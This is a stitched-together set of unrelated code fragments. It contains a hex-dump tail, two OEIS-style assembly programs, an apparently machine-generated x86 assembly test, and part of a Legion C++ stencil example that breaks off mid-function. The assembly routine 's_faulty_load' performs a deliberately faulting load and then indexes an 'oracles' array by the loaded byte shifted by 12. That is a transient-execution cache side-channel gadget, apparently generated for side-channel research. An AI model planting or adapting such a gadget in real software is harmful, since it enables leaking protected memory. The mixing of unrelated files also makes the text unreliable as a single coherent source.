// 2ed0: 00000000 00000000 00000000 00000000 ________________
// 2ee0: 00000000 00000015 00000000 00000000 ____.___________
// 2ef0: 00000000 00000000 00000000 00000000 ________________
// 2f00: 00000000 00000000 00000000 00000000 ________________
// 2f10: 00000000 00000000 00000000 00000000 ________________
// 2f20: 00000000 00000000 00000000 00000000 ________________
// 2f30: 00000000 00000000 00000000 00000000 ________________
// 2f40: 00000000 00000000 00000000 00000000 ________________
// 2f50: 00000000 00000000 00000000 00000000 ________________
// 2f60: 00000000 00000000 00000000 00000000 ________________
// 2f70: 00000000 00000000 00000000 00000000 ________________
// 2f80: 00000000 00000000 00000000 00000000 ________________
// 2f90: 00000000 00000000 00000000 00000000 ________________
// 2fa0: 00000000 00000000 00000000 00000000 ________________
// 2fb0: 00000000 00000000 00000000 00000000 ________________
// 2fc0: 00000000 00000000 00000000 00000000 ________________
// 2fd0: 00000000 00000000 00000000 00000000 ________________
// 2fe0: 00000000 00000000 00000000 00000000 ________________
// 2ff0: 00000000 00000000 00000000 00000000 ________________
// 3000: 00000000 00000000 00000000 00000000 ________________
// 3010: 00000000 00000000 00000000 00000000 ________________
// 3020: 00000000 00000000 00000000 00000000 ________________
// 3030: 00000000 00000000 00000000 00000000 ________________
// 3040: 00000000 00000000 00000000 00000000 ________________
// 3050: 00000000 00000000 00000000 00000000 ________________
// 3060: 00000000 00000000 00000000 00000000 ________________
// 3070: 00000000 00000000 00000000 00000000 ________________
// 3080: 00000000 00000000 00000000 00000000 ________________
// 3090: 00000000 00000000 00000000 00000000 ________________
// 30a0: 00000000 00000000 00000000 00000000 ________________
// 30b0: 00000000 00000000 00000000 00000000 ________________
// 30c0: 00000000 00000000 00000000 00000000 ________________
// 30d0: 00000000 00000000 00000000 00000000 ________________
// 30e0: 00000000 ____
|
; A213184: Numbers which may represent a date in "condensed American notation" MMDDYY.
; 10100,10101,10102,10103,10104,10105,10106,10107,10108,10109,10110,10111,10112,10113,10114,10115,10116,10117,10118,10119,10120,10121,10122,10123,10124,10125,10126,10127,10128,10129,10130,10131,10132,10133,10134,10135,10136,10137,10138,10139,10140
add $0,10100
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r8
push %r9
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x13942, %rdx
cmp %r9, %r9
mov (%rdx), %r14d
nop
nop
nop
nop
xor %r9, %r9
lea addresses_A_ht+0x7e02, %r8
nop
cmp $28765, %rbx
movl $0x61626364, (%r8)
add $40531, %r8
lea addresses_UC_ht+0x8082, %rsi
lea addresses_WT_ht+0x13242, %rdi
nop
nop
nop
nop
nop
add %rbx, %rbx
mov $22, %rcx
rep movsb
nop
nop
nop
nop
nop
cmp $4223, %r9
lea addresses_D_ht+0x1596, %rsi
lea addresses_UC_ht+0x19e7a, %rdi
nop
nop
sub %rbx, %rbx
mov $45, %rcx
rep movsq
nop
nop
nop
nop
add $51234, %rdi
lea addresses_normal_ht+0x10822, %rbx
cmp $38306, %rcx
movb $0x61, (%rbx)
nop
nop
nop
nop
nop
add $43568, %r8
lea addresses_A_ht+0xeaa6, %rdi
nop
nop
nop
xor $747, %r9
vmovups (%rdi), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $1, %xmm2, %r8
nop
inc %r10
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r8
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
// Store
lea addresses_WC+0x6842, %r8
nop
nop
nop
nop
and $9154, %rax
mov $0x5152535455565758, %r10
movq %r10, %xmm0
movups %xmm0, (%r8)
nop
nop
nop
nop
cmp $36598, %rcx
// Store
lea addresses_WT+0x193fa, %rdi
nop
nop
and $29226, %rdx
movb $0x51, (%rdi)
nop
nop
nop
nop
nop
add %rbx, %rbx
// Store
lea addresses_A+0x16642, %rdi
nop
nop
nop
inc %rax
movl $0x51525354, (%rdi)
nop
cmp %rdi, %rdi
// Load
lea addresses_normal+0x17762, %rdx
nop
nop
and $37053, %rax
mov (%rdx), %bx
// Exception!!!
nop
nop
nop
nop
mov (0), %r8
nop
nop
nop
nop
xor %rcx, %rcx
// Store
lea addresses_WC+0x16342, %rdx
nop
nop
nop
nop
xor %rdi, %rdi
mov $0x5152535455565758, %r8
movq %r8, %xmm7
movups %xmm7, (%rdx)
nop
nop
nop
nop
nop
sub %rbx, %rbx
// Load
lea addresses_RW+0xe982, %rdx
nop
nop
nop
inc %r8
mov (%rdx), %r10d
nop
nop
nop
nop
dec %r10
// Faulty Load
lea addresses_WC+0x16342, %rdi
nop
nop
nop
nop
cmp $13207, %r10
movups (%rdi), %xmm4
vpextrq $0, %xmm4, %rdx
lea oracles, %rcx
and $0xff, %rdx
shlq $12, %rdx
mov (%rcx,%rdx,1), %rdx
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_WC', 'AVXalign': False, 'size': 16}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_WT', 'AVXalign': True, 'size': 1}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_A', 'AVXalign': False, 'size': 4}}
{'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_normal', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 16}}
{'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_RW', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'same': True, 'congruent': 9, 'type': 'addresses_WC_ht', 'AVXalign': True, 'size': 4}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}}
{'src': {'same': True, 'congruent': 6, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_WT_ht'}}
{'src': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1}}
{'src': {'NT': False, 'same': True, 'congruent': 2, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
; A016805: (4n)^5.
; 0,1024,32768,248832,1048576,3200000,7962624,17210368,33554432,60466176,102400000,164916224,254803968,380204032,550731776,777600000,1073741824,1453933568,1934917632,2535525376
mul $0,4
pow $0,5
|
/* Copyright 2018 Stanford University
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <cstdio>
#include <cassert>
#include <cstdlib>
#include <unistd.h>
#include "legion.h"
using namespace Legion;
#define ORDER 2
enum {
TOP_LEVEL_TASK_ID = 0,
SPMD_TASK_ID,
INIT_TASK_ID,
STENCIL_TASK_ID,
CHECK_TASK_ID,
};
enum {
FID_VAL = 0,
FID_DERIV,
FID_GHOST,
};
enum {
GHOST_LEFT = 0,
GHOST_RIGHT
};
enum {
NEIGHBOR_LEFT = 0,
NEIGHBOR_RIGHT
};
struct SPMDArgs
{
public:
PhaseBarrier notify_ready[2];
PhaseBarrier notify_empty[2];
PhaseBarrier wait_ready[2];
PhaseBarrier wait_empty[2];
int num_elements;
int num_steps;
};
void top_level_task(const Task *task,
const std::vector<PhysicalRegion> ®ions,
Context ctx, Runtime *runtime)
{
int num_elements = 1024;
int num_subregions = 4;
int num_steps = 10;
// Check for any command line arguments
{
const InputArgs &command_args = Runtime::get_input_args();
for (int i = 1; i < command_args.argc; i++)
{
if (!strcmp(command_args.argv[i],"-n"))
num_elements = atoi(command_args.argv[++i]);
if (!strcmp(command_args.argv[i],"-b"))
num_subregions = atoi(command_args.argv[++i]);
if (!strcmp(command_args.argv[i],"-s"))
num_steps = atoi(command_args.argv[++i]);
}
}
// This algorithm needs at least two sub-regions to work
assert(num_subregions > 1);
printf("Running stencil computation for %d elements for %d steps...\n",
num_elements, num_steps);
printf("Partitioning data into %d sub-regions...\n", num_subregions);
// we're going to use a must epoch launcher, so we need at least as many
// processors in our system as we have subregions - check that now
std::set<Processor> all_procs;
Realm::Machine::get_machine().get_all_processors(all_procs);
int num_loc_procs = 0;
for(std::set<Processor>::const_iterator it = all_procs.begin();
it != all_procs.end(); it++)
{
if ((*it).kind() == Processor::LOC_PROC)
num_loc_procs++;
}
if (num_loc_procs < num_subregions)
{
printf("FATAL ERROR: This test uses a must epoch launcher, which requires\n");
printf(" a separate Realm processor for each subregion. %d of the necessary\n",
num_loc_procs);
printf(" %d are available. Please rerun with '-ll:cpu %d'.\n",
num_subregions, num_subregions);
exit(1);
}
// For this example we'll create a single index space tree, but we
// will make different logical regions from this index space. The
// index space will have two levels of partitioning. One level for
// describing the partioning into pieces, and then a second level
// for capturing partitioning to describe ghost regions.
Rect<1> elem_rect(0,num_elements-1);
IndexSpace is = runtime->create_index_space(ctx, elem_rect);
runtime->attach_name(is, "is");
FieldSpace fs = runtime->create_field_space(ctx);
{
FieldAllocator allocator =
runtime->create_field_allocator(ctx, fs);
allocator.allocate_field(sizeof(double),FID_VAL);
allocator.allocate_field(sizeof(double),FID_DERIV);
}
Rect<1> color_bounds(0,num_subregions-1);
char buf[64];
// Create the partition for pieces
IndexSpace color_is = runtime->create_index_space(ctx, color_bounds);
IndexPartition disjoint_ip = runtime->create_equal_partition(ctx, is, color_is);
runtime->attach_name(disjoint_ip, "disjoint_ip");
//TODO: delete these at the end
std::vector<LogicalRegion> disjoint_subregions(num_subregions); // TODO: do I need to do this? Or can I just pass the lp somehow?
for (int color = 0; color < num_subregions; color++)
{
IndexSpace disjoint_space = runtime->get_index_subspace(ctx, disjoint_ip, color);
LogicalRegion disjoint_lr =
runtime->create_logical_region(ctx, disjoint_space, fs);
sprintf(buf, "disjoint_lr_%d", color);
runtime->attach_name(disjoint_lr, buf);
disjoint_subregions[color] = disjoint_lr;
}
// Create all of the phase barriers for this computation
std::vector<PhaseBarrier> left_ready_barriers;
std::vector<PhaseBarrier> left_empty_barriers;
std::vector<PhaseBarrier> right_ready_barriers;
std::vector<PhaseBarrier> right_empty_barriers;
for (int color = 0; color < num_subregions; color++)
{
left_ready_barriers.push_back(runtime->create_phase_barrier(ctx, 1));
left_empty_barriers.push_back(runtime->create_phase_barrier(ctx, 1));
right_ready_barriers.push_back(runtime->create_phase_barrier(ctx, 1));
right_empty_barriers.push_back(runtime->create_phase_barrier(ctx, 1));
}
// In order to guarantee that all of our spmd_tasks execute in parallel
// we have to use a must epoch launcher. This instructs the runtime
// to check that all of the operations in the must epoch are capable of
// executing in parallel making it possible for them to synchronize using
// named barriers with potential deadlock. If for some reason they
// cannot run in parallel, the runtime will report an error and indicate
// the cause of it.
{
MustEpochLauncher must_epoch_launcher;
// Need a separate array for storing these until we call the runtime
std::vector<SPMDArgs> args(num_subregions);
// For each of our parallel tasks launch off a task with the ghost regions
// for its neighbors as well as our ghost regions and the necessary phase
// barriers. Assume periodic boundary conditions.
for (int my_color = 0; my_color < num_subregions; my_color++)
{
int left_neighbor_color = (my_color == 0) ? num_subregions-1 : my_color-1;
int right_neighbor_color = (my_color == num_subregions-1) ? 0 : my_color+1;
/* set some arguments that will be needed by the spmd shards */
args[my_color].num_elements = num_elements;
args[my_color].num_steps = num_steps;
/* Specify which phase barriers we should use */
args[my_color].notify_empty[NEIGHBOR_LEFT] = left_empty_barriers[my_color];
args[my_color].wait_ready[NEIGHBOR_LEFT] = left_ready_barriers[my_color];
args[my_color].notify_ready[NEIGHBOR_LEFT] = right_ready_barriers[left_neighbor_color];
args[my_color].wait_empty[NEIGHBOR_LEFT] = right_empty_barriers[left_neighbor_color];
args[my_color].notify_empty[NEIGHBOR_RIGHT] = right_empty_barriers[my_color];
args[my_color].wait_ready[NEIGHBOR_RIGHT] = right_ready_barriers[my_color];
args[my_color].notify_ready[NEIGHBOR_RIGHT] = left_ready_barriers[right_neighbor_color];
args[my_color].wait_empty[NEIGHBOR_RIGHT] = left_empty_barriers[right_neighbor_color];
TaskLauncher spmd_launcher(SPMD_TASK_ID,
TaskArgument(&args[my_color], sizeof(SPMDArgs)));
RegionRequirement region_requirement;
/* Region the task will use */
region_requirement = RegionRequirement(disjoint_subregions[my_color],
READ_WRITE, SIMULTANEOUS,
disjoint_subregions[my_color]);
spmd_launcher.add_region_requirement(region_requirement);
/* let each task know about the neighbor subregions */
region_requirement = RegionRequirement(disjoint_subregions[left_neighbor_color],
READ_ONLY, SIMULTANEOUS,
disjoint_subregions[left_neighbor_color]);
region_requirement.add_flags(NO_ACCESS_FLAG);
spmd_launcher.add_region_requirement(region_requirement);
region_requirement = RegionRequirement(disjoint_subregions[right_neighbor_color],
READ_ONLY, SIMULTANEOUS,
disjoint_subregions[right_neighbor_color]);
region_requirement.add_flags(NO_ACCESS_FLAG);
spmd_launcher.add_region_requirement(region_requirement);
/* Add the fields we will access to the launcher */
for (unsigned rr = 0; rr < spmd_launcher.region_requirements.size(); rr++) {
spmd_launcher.add_field(rr, FID_VAL);
spmd_launcher.add_field(rr, FID_DERIV);
}
DomainPoint point(my_color);
must_epoch_launcher.add_single_task(point, spmd_launcher);
}
FutureMap fm = runtime->execute_must_epoch(ctx, must_epoch_launcher);
// wait for completion at least
fm.wait_all_results();
printf("Test completed.\n");
}
// Clean up our mess when we are done
for (unsigned idx = 0; idx < left_ready_barriers.size(); idx++)
runtime->destroy_phase_barrier(ctx, left_ready_barriers[idx]);
for (unsigned idx = 0; idx < left_empty_barriers.size(); idx++)
runtime->destroy_phase_barrier(ctx, left_empty_barriers[idx]);
for (unsigned idx = 0; idx < right_ready_barriers.size(); idx++)
runtime->destroy_phase_barrier(ctx, right_ready_barriers[idx]);
for (unsigned idx = 0; idx < right_empty_barriers.size(); idx++)
runtime->destroy_phase_barrier(ctx, right_empty_barriers[idx]);
disjoint_subregions.clear();
left_ready_barriers.clear();
left_empty_barriers.clear();
right_ready_barriers.clear();
right_empty_barriers.clear();
runtime->destroy_index_space(ctx, is);
runtime->destroy_index_space(ctx, color_is);
runtime->destroy_field_space(ctx, fs);
}
void spmd_task(const Task *task,
const std::vector<PhysicalRegion> ®ions,
Context ctx, Runtime *runtime)
{
// Unmap all the regions we were given since we won't actually use them
//
// Unmapping means I won't access the physical regions, so remove my access to it.
// Otherwise there will be a bunch of unmap and remap calls, and accesses will
// be serialized
runtime->unmap_all_regions(ctx);
/* Dereference the regions passed to the task */
SPMDArgs *args = (SPMDArgs*)task->args;
int color = task->index_point[0];
LogicalRegion local_lr = task->regions[0].region;
LogicalRegion neighbor_lrs[2];
neighbor_lrs[GHOST_LEFT] = task->regions[1].region;
neighbor_lrs[GHOST_RIGHT] = task->regions[2].region;
/* Instantiate the ghost regions we will create locally */
LogicalRegion ghost_lrs[2];
/*
* Create the field space the ghost region will use. In the GHOST field, we will
* copy over the VAL field from the neighbor regions.
*/
FieldSpace ghost_fs = runtime->create_field_space(ctx);
runtime->attach_name(ghost_fs, "ghost_fs");
{
FieldAllocator allocator =
runtime->create_field_allocator(ctx, ghost_fs);
allocator.allocate_field(sizeof(double),FID_GHOST);
runtime->attach_name(ghost_fs, FID_GHOST, "GHOST");
}
char buf[64]; const char* parts[2] = {"left", "right"};
// Create the ghost regions we will access from the neighbors.
IndexSpaceT<1> ghost_color_left_is = runtime->create_index_space(ctx,
Rect<1>(GHOST_LEFT, GHOST_LEFT));
IndexSpaceT<1> ghost_color_right_is = runtime->create_index_space(ctx,
Rect<1>(GHOST_RIGHT, GHOST_RIGHT));
for (unsigned neighbor = NEIGHBOR_LEFT; neighbor <= NEIGHBOR_RIGHT; neighbor++)
{
// Get the index space and domain
IndexSpaceT<1> neighbor_is(neighbor_lrs[neighbor].get_index_space());
Rect<1> rect = runtime->get_index_space_domain(ctx, neighbor_is);
// now create the partitioning
IndexPartition ghost_ip;
Transform<1,1> transform;
transform[0][0] = 0;
// The left neighbor needs a right ghost and the right neighbor needs a left ghost
if (neighbor == NEIGHBOR_LEFT)
{
Rect<1> extent(rect.hi[0]-(ORDER-1),rect.hi);
ghost_ip = runtime->create_partition_by_restriction(ctx, neighbor_is,
ghost_color_right_is, transform, extent, DISJOINT_KIND);
}
else
{
Rect<1> extent(rect.lo, rect.lo[0]+(ORDER-1));
ghost_ip = runtime->create_partition_by_restriction(ctx, neighbor_is,
ghost_color_left_is, transform, extent, DISJOINT_KIND);
}
sprintf(buf, "%s_neighbor_ghost_ip_of_%d", parts[neighbor], color);
runtime->attach_name(ghost_ip, buf);
// create the logical region
IndexSpace ghost_is = runtime->get_index_subspace(ctx, ghost_ip,
(neighbor == NEIGHBOR_LEFT) ? GHOST_RIGHT : GHOST_LEFT);
ghost_lrs[neighbor] = runtime->create_logical_region(ctx, ghost_is, ghost_fs);
sprintf(buf, "%s_neighbor_ghost_lr_of_%d", parts[neighbor], color);
runtime->attach_name(ghost_lrs[neighbor], buf);
}
// Run a bunch of steps
for (int s = 0; s < args->num_steps; s++)
{
// Launch a task to initialize our field with some data
TaskLauncher init_launcher(INIT_TASK_ID,
TaskArgument(NULL, 0));
init_launcher.add_region_requirement(
RegionRequirement(local_lr, WRITE_DISCARD,
EXCLUSIVE, local_lr));
init_launcher.add_field(0, FID_VAL);
runtime->execute_task(ctx, init_launcher);
// Issue explicit region-to-region copies
for (unsigned idx = NEIGHBOR_LEFT; idx <= NEIGHBOR_RIGHT; idx++)
{
/* Pull the neighbor's data over to the ghost */
CopyLauncher copy_launcher;
copy_launcher.add_copy_requirements(
RegionRequirement(neighbor_lrs[idx], READ_ONLY,
EXCLUSIVE, neighbor_lrs[idx]),
RegionRequirement(ghost_lrs[idx], WRITE_DISCARD,
EXCLUSIVE, ghost_lrs[idx]));
copy_launcher.add_src_field(0, FID_VAL);
copy_launcher.add_dst_field(0, FID_GHOST);
// It's not safe to issue the pull until we know
// that the neighbor has written to the ghost region
// advance the barrier first - we're waiting for the next phase
// to start
if (s > 0)
{
args->wait_ready[idx] =
runtime->advance_phase_barrier(ctx, args->wait_ready[idx]);
copy_launcher.add_wait_barrier(args->wait_ready[idx]);
}
// When we are done with the pull, signal that we've read it
copy_launcher.add_arrival_barrier(args->notify_empty[idx]);
runtime->issue_copy_operation(ctx, copy_launcher);
// Once we've issued our copy operation, advance both of
// the barriers to the next generation.
args->notify_empty[idx] =
runtime->advance_phase_barrier(ctx, args->notify_empty[idx]);
}
// TODO: Do we want to keep the acquire/release?
// Acquire coherence on our left and right ghost regions
//for (unsigned idx = GHOST_LEFT; idx <= GHOST_RIGHT; idx++)
//{
// AcquireLauncher acquire_launcher(neighbor_lrs[idx],
// neighbor_lrs[idx],
// regions[1+idx]);
// acquire_launcher.add_field(FID_VAL);
// acquire_launcher.add_field(FID_DERIV);
// // The acquire operation need to wait for its ghost data to
// // be consumed before writing new data
// args->wait_empty[idx] =
// runtime->advance_phase_barrier(ctx, args->wait_empty[idx]);
// acquire_launcher.add_wait_barrier(args->wait_empty[idx]);
// runtime->issue_acquire(ctx, acquire_launcher);
//}
// Run the stencil computation
TaskLauncher stencil_launcher(STENCIL_TASK_ID,
TaskArgument(NULL, 0));
stencil_launcher.add_region_requirement(
RegionRequirement(local_lr, WRITE_DISCARD, EXCLUSIVE, local_lr));
stencil_launcher.add_field(0, FID_DERIV);
stencil_launcher.add_region_requirement(
RegionRequirement(local_lr, READ_ONLY, EXCLUSIVE, local_lr));
stencil_launcher.add_field(1, FID_VAL);
for (unsigned idx = NEIGHBOR_LEFT; idx <= NEIGHBOR_RIGHT; idx++)
{
// We need to wait for the ghost data to be consumed by another
// task before writing over the data
args->wait_empty[idx] =
runtime->advance_phase_barrier(ctx, args->wait_empty[idx]);
stencil_launcher.add_wait_barrier(args->wait_empty[idx]);
stencil_launcher.add_region_requirement(
RegionRequirement(ghost_lrs[idx], READ_ONLY, EXCLUSIVE, ghost_lrs[idx]));
stencil_launcher.add_field(idx+2, FID_GHOST);
// signal that the data is ready to be consumed on all but the last
// iteration. TODO: is this correct? how does the runtime
// know to do this AFTER the computation is done?
if (s < (args->num_steps-1))
stencil_launcher.add_arrival_barrier(args->notify_ready[idx]);
}
runtime->execute_task(ctx, stencil_launcher).get_void_result();
for (unsigned idx = NEIGHBOR_LEFT; idx <= NEIGHBOR_RIGHT; idx++)
{
if (s < (args->num_steps-1))
args->notify_ready[idx] =
runtime->advance_phase_barrier(ctx, args->notify_ready[idx]);
}
// Release coherence on our left and right ghost regions
//for (unsigned idx = GHOST_LEFT; idx <= GHOST_RIGHT; idx++)
//{
// ReleaseLauncher release_launcher(neighbor_lrs[idx],
// neighbor_lrs[idx],
// regions[1+idx]);
// release_launcher.add_field(FID_VAL);
// release_launcher.add_field(FID_DERIV);
// // On all but the last iteration we need to signal that
// // the data is written and ready to be consumed
// if (s < (args->num_steps-1))
// release_launcher.add_arrival_barrier(args->notify_ready[idx]);
// runtime->issue_release(ctx, release_launcher);
// if (s < (args->num_steps-1))
// args->notify_ready[idx] =
// runtime->advance_phase_barrier(ctx, args->notify_ready[idx]);
//}
}
// now check our results
{
TaskLauncher check_launcher(CHECK_TASK_ID,
TaskArgument(args, sizeof(SPMDArgs)));
check_launcher.add_region_requirement(
RegionRequirement(local_lr, READ_ONLY,
EXCLUSIVE, local_lr));
check_launcher.add_field(0, FID_DERIV);
Future f = runtime->execute_task(ctx, check_launcher);
int errors = f.get_result<int>();
if(errors > 0)
{
printf("Errors detected in check task!\n");
sleep(1); // let other tasks also report errors if they wish
exit(1);
}
}
runtime->destroy_logical_region(ctx, local_lr);
runtime->destroy_index_space(ctx, ghost_color_left_is);
runtime->destroy_index_space(ctx, ghost_color_right_is);
}
void init_task(const Task *task,
const std::vector<PhysicalRegion> ®ions,
Context ctx, Runtime *runtime)
{
assert(regions.size() == 1);
assert(task->regions.size() == 1);
assert(task->regions[0].privilege_fields.size() == 1);
FieldID fid = *(task->regions[0].privilege_fields.begin());
const FieldAccessor<WRITE_DISCARD,double,1> acc(regions[0], fid);
Rect<1> rect = runtime->get_index_space_domain(ctx,
task->regions[0].region.get_index_space());
for (PointInRectIterator<1> pir(rect); pir(); pir++)
{
// use a ramp with little ripples
const int ripple_period = 4;
const double ripple[ripple_period] = { 0, 0.25, 0, -0.25 };
acc[*pir] = (double)(pir[0]) + ripple[pir[0] % ripple_period];
}
}
void stencil_task(const Task *task,
const std::vector<PhysicalRegion> ®ions,
Context ctx, Runtime *runtime)
{
assert(regions.size() == 4);
assert(task->regions.size() == 4);
for (int idx = 0; idx < 4; idx++)
assert(task->regions[idx].privilege_fields.size() == 1);
FieldID write_fid = *(task->regions[0].privilege_fields.begin());
FieldID read_fid = *(task->regions[1].privilege_fields.begin());
FieldID ghost_fid = *(task->regions[2].privilege_fields.begin());
const FieldAccessor<WRITE_DISCARD,double,1> write_acc(regions[0], write_fid);
const FieldAccessor<READ_ONLY,double,1> read_acc(regions[1], read_fid);
const FieldAccessor<READ_ONLY,double,1> left_ghost_acc(regions[2], ghost_fid);
const FieldAccessor<READ_ONLY,double,1> right_ghost_acc(regions[3], ghost_fid);
Rect<1> main_rect = runtime->get_index_space_domain(ctx,
task->regions[0].region.get_index_space());
Rect<1> left_rect = runtime->get_index_space_domain(ctx,
task->regions[2].region.get_index_space());
Rect<1> right_rect = runtime->get_index_space_domain(ctx,
task->regions[3].region.get_index_space());
double window[2*ORDER+1];
// we're going to perform the stencil computation with 4 iterators: read iterators
// for the left, main, and right rectangles, and a write iterator for the main
// rectangle (the read and write iterators for the main rectangle will effectively
// be offset by ORDER
PointInRectIterator<1> pir_left(left_rect);
PointInRectIterator<1> pir_main_read(main_rect);
PointInRectIterator<1> pir_main_write(main_rect);
PointInRectIterator<1> pir_right(right_rect);
// Prime the window with the left data and the first ORDER elements of main
for (int i = 0; i < ORDER; i++)
{
window[i] = left_ghost_acc[*pir_left]; pir_left++;
window[i + ORDER] = read_acc[*pir_main_read]; pir_main_read++;
}
// now iterate over the main rectangle's write value, pulling from the right ghost
// data once the main read iterator is exhausted
while (pir_main_write())
{
if (pir_main_read()) {
window[2 * ORDER] = read_acc[*pir_main_read]; pir_main_read++;
} else {
window[2 * ORDER] = right_ghost_acc[*pir_right]; pir_right++;
}
// only have calculation for ORDER == 2
double deriv;
switch(ORDER)
{
case 2:
{
deriv = (window[0] - 8.0 * window[1] +
8.0 * window[3] - window[4]);
#ifdef DEBUG_STENCIL_CALC
printf("A: [%d] %g %g %g %g %g -> %g\n",
pir_main_write.p[0],
window[0],
window[1],
window[2],
window[3],
window[4],
deriv);
#endif
break;
}
default: assert(0);
}
